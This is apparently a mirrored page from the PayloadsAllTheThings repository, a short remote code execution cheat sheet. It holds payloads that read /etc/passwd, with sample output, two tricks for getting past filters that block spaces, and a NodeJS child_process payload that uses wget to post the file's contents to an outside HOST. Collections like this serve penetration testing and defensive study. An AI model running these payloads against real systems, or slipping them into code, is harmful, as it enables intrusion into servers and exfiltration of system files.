mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-13 14:52:53 +00:00
.. | ||
README.md |
Remote Code Execution
Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.
Exploits
Normal code execution
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
Code execution without space
{cat,/etc/passwd}
cat$IFS/etc/passwd
NodeJS Code execution
require('child_process').exec('wget+--post-data+"x=$(cat+/etc/passwd)"+HOST')